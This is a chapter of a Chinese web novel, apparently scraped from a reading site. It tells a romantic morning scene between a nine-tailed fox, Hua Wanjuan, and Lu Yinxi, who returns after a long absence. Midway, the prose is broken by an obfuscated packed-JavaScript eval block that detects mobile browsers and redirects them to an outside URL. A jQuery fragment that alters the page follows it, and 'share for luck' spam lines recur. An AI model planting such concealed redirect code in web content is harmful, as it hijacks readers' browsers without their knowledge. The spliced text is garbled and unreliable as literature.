这是一个很令人安心的夜晚。
温暖的温度席卷了全身,在她的怀抱里,再也不会感受到之前千百年的等待里……那股彻人心扉的寒冷。
也许是太幸福了,也许是太令人心安了。
眼角不自觉溢出泪水,身体里丹田和经脉的疼痛仿佛都彻底消失了一样,在温暖的晨光里睁开眼眸,花晚倦屏住了呼吸。
……多久了?
究竟有多久了?
他有多久……没有再这样安稳的睡过一个觉,没有含着开心与幸福闭目。
身旁的人睡得很沉,那双熟悉又漂亮的眸子此刻闭着,脸庞在晨光的照映下总会让人觉得有些梦幻。
花晚倦不是很确定地伸出手,收回了自己尖锐的指甲,指腹按住少女的脸颊。
软的。
温暖的。
……是真的。
真的不是梦,真的不用再面对睡醒以后的彷徨。
1000多年了。
自从鹿饮溪生病以后,他就再也没有拥有过这样安稳的睡眠,再也没有不带着惶恐睁开眼睛。
没敢碰太久,花晚倦收回了手,仿佛再多碰几下,眼前的这人就会如同自己做过无数次的梦境一样消散。
他紧紧盯着睡在自己身旁的这人,任由暖黄色的晨光投射在床上,身后九条尾巴不安分地摆动着,都轻轻搭在了少女的身上。
……多看一会,再多看一会。
先前千年的贪欲仿佛都要在这一刻得到释放,花晚倦忍不住自己心中的贪婪,不敢眨眼,目光一刻也不敢从鹿饮溪的脸上移开。
记不清楚自己看了多久,也说不清楚时间过去了多久,一分一秒都在感知里被无限放长。
幸福。
只剩下这两个字了。
花晚倦不知道还有什么其他的词汇可以描述自己心中的感受。
“唔……
某只狐狸身上的九条大尾巴靠在身上实在是太舒服了些,鹿饮溪做了个有些舒服的梦,彻底睡够睡醒了,才慢悠悠睁开眼睛醒过来。
盯着亮堂堂的天花板,注意到现在的时间很可能已经是日上三竿,外面太阳都到头顶了以后,她扭过头去,对上了花晚倦那双清澈的眼眸。
听说看这本书的人都是很幸运的,分享后你的运气会更棒
“鹿饮溪。”
“你醒啦?想要吃什么?又或者想做些什么解闷吗?”
“青丘……青丘有很多很好的东西,我今天可以多带你去玩。”
他看上去不像是刚醒来的样子,意识清醒的很,脸上软肉被枕头堆起,专注的视线一直盯着鹿饮溪,看上去有几分可爱。
鹿饮溪眨了眨眼睛,掐掐他脸上的软肉。
是稍微红润了一点,体温也没那么冷了,看来自己第二个任务里抢的那枚丹药效果是真的强。
“今天可没空跟你玩。”
“我……”
话语刚出,她顶着花晚倦失落又忐忑的目光迟疑了片刻。
今天一七的系统任务应该做完了不少,昨天也说了会来帮忙给花晚倦治病。
但是……要怎么称呼他?
药王谷的大长老?师父?累滴沟?
师父两字,要是身份没暴露之前,鹿饮溪完全可以没什么负担的,喊上800来遍。
……可现在身份暴露出来了,再管一七叫师父,总是莫名有点怪怪的。
鹿饮溪仔细想了想,一个词汇自然而然从唇中说出:“我朋友今天要帮你来看一下你的经脉和丹田。”
一提到这个经脉和丹田,她心头就有几分生气。
就连捏着花晚倦脸颊软肉的手都情不自禁用了几分力。
“你是真的不要命啊,你身体本来就差,又自爆了经脉和丹田,如果不是我身上有点丹药,你真以为你昨天还能有命活下来吗?”
花晚倦老老实实听着她对自己的谴责,也没在意她这么捏着自己的脸。
或者说,他还求之不得。
他的神情有几分委屈,语气也弱了下来,轻轻用食指指尖勾住鹿饮溪的小拇指,二人的温度顺着相贴的肌肤传递。
“……我、我要是不这样,你现在还装作不认识我呢。”
昨晚的相处让花晚倦意识到鹿饮溪如今虽然没有从前那么爱自己,但也确实还对自己有几分喜欢,所以也就有了点胆子,在此时朝她诉说委屈。
鹿饮溪一噎,无法反驳,干脆跳过这个话题。
“……好了,你现在这个状态,要不要吃点东西补充体力?”
她在床上坐了起来,把里衣
听说看这本书的人都是很幸运的,分享后你的运气会更棒
的带子一点点系好,打算下床之时动作停顿了片刻,无奈的目光看向自己手腕上缠着的那一截粉红色尾巴尖。
鹿饮溪晃了晃自己的手腕,那毛茸茸的东西也跟着晃,就是没放开。
“我就是起个床而已,我又不走,尾巴老缠着我做什么?”
花晚倦红着眼尾望着她,视线多多少少有些心虚。
“喜欢你。”
被这三个字回的哑口无言,鹿饮溪回眸望着他,看了片刻,又移开视线。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17429128|183286||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“……嗯。”
手腕上那捣乱的毛茸茸触感总算是离开了。
“我朋友马上就过来,你想吃什么……我看看我储物戒里还有什么东西。”
大乘期早就可以辟谷,不吃东西也能撑过许久,靠单独吸收妖气就能存活下去。
只是……只是自己现在的这种情况,没办法吸收妖气,况且在先前妖气崩溃的那段时间里也是一点都未曾补充到力量,丹田和经脉也全部碎开了。
……还是吃一些更好。
其实花晚倦压根就不怎么在意自己需要吃什么。
他视线牢牢跟随着鹿饮溪的背影,很明显心不在焉,然后九条尾巴胡乱摆动着,在鹿饮溪下了床以后也赶忙跟着下去,从一旁的衣架子上拿起那件鹿饮溪昨日穿着的外衣,走上前,递给鹿饮溪。
“都可以。”
“只要是你给的,我吃什么都愿意。”
鹿饮溪若有所思看了他两眼:“什么都可以?”
“嗯,吃什么都可以。”
从那场变故以后,花晚倦就没什么口腹之欲了。
只要想起那件事,只要看着眼前的珍馐佳肴,胃里就会一阵又一阵翻腾,吃不下去,也没有精力吃,也不想吃。
但……但现在不同。
鹿饮溪回来了。
那只是一场噩梦而已,一场早就过去了的噩梦。
吃什么都好。
只要能再看见她,再看见她的笑容。
“青丘过两日就要入冬了,桃花还在开,是因为我之前布了个阵法……现在温度挺冷的,你修为不高,把衣服穿厚一点。”
他有点懊恼地皱起了眉头,跟在鹿饮溪身后,最后被鹿饮溪乖乖按着坐在了椅子上。
“我是冰灵根,你就别担心了。”
鹿饮溪有点无奈,实在是不明白为啥这些人总会忽略自己是冰灵根的这个现实觉得她会冷。
“嗯……随便吃什么都可以,那我想一想。”
点开系统面板,视线在上面反复游移,她的目光在一张图片上停顿下来。
没过多久,一阵能从心底激发人食欲的香气飘荡。
鹿饮溪把一盘看上去就很好吃的烧鸡放在了花晚倦面前,还很贴心配了点粥。
“……嗯,虽然我母亲一直都说大早上吃这么油不好,但你是狐狸呀。”
盯着面前的这一盘烧鸡,花晚倦僵硬在原地,眼眶微红。
他差点又要流泪了,抬起眼睛看鹿饮溪。
鹿饮溪面上的表情却有些理所当然,笑着看他。
“我记得你以前喜欢吃这个。”